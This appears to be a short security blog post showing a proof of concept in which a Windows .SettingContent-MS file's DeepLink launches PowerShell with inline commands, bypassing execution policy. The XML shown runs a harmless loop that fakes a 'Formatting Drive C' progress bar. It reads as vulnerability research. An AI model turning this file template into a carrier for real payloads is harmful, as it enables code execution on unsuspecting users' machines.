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SettingContent-MS lets run PowerShell code and bypass the execution policy

Lets have a little bit more fun with .SettingContent-MS File execution by using it to call PowerShell bypass the local execution policy, and execute an embedded code.

Some credit for the actual vulnerability goes to Matt Nelson.

A little bit about MS ExecutionPolicy for PowerShell:

<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-6>

A little bit about bypassing MS ExecutionPolicy in PowerShell:

<https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/>

My .SettingContent-MS files for testing and validation:

<https://github.com/bvoris/SettingContent-MS-File-Execution>

[Video of PowerShell ExecutionPolicy Bypass and Code Execution](#)

I modified the original code, included the call for PowerShell, used -c to bypass execution, then run a For loop to simulated formatting of C drive.

Code for the actual file for calling PowerShell:

<?xml version="1.0" encoding="UTF-8"?>

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controlpanel</AppID>

<DeepLink>"%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" -c

For (\$i=0; \$i -le 100; \$i++) {Start-Sleep -Milliseconds 20

Write-Progress -id 1 -Activity 'Formatting Drive C' -Status 'Current Count: \$i'

-PercentComplete \$i -CurrentOperation 'Formatting ...'}</DeepLink>

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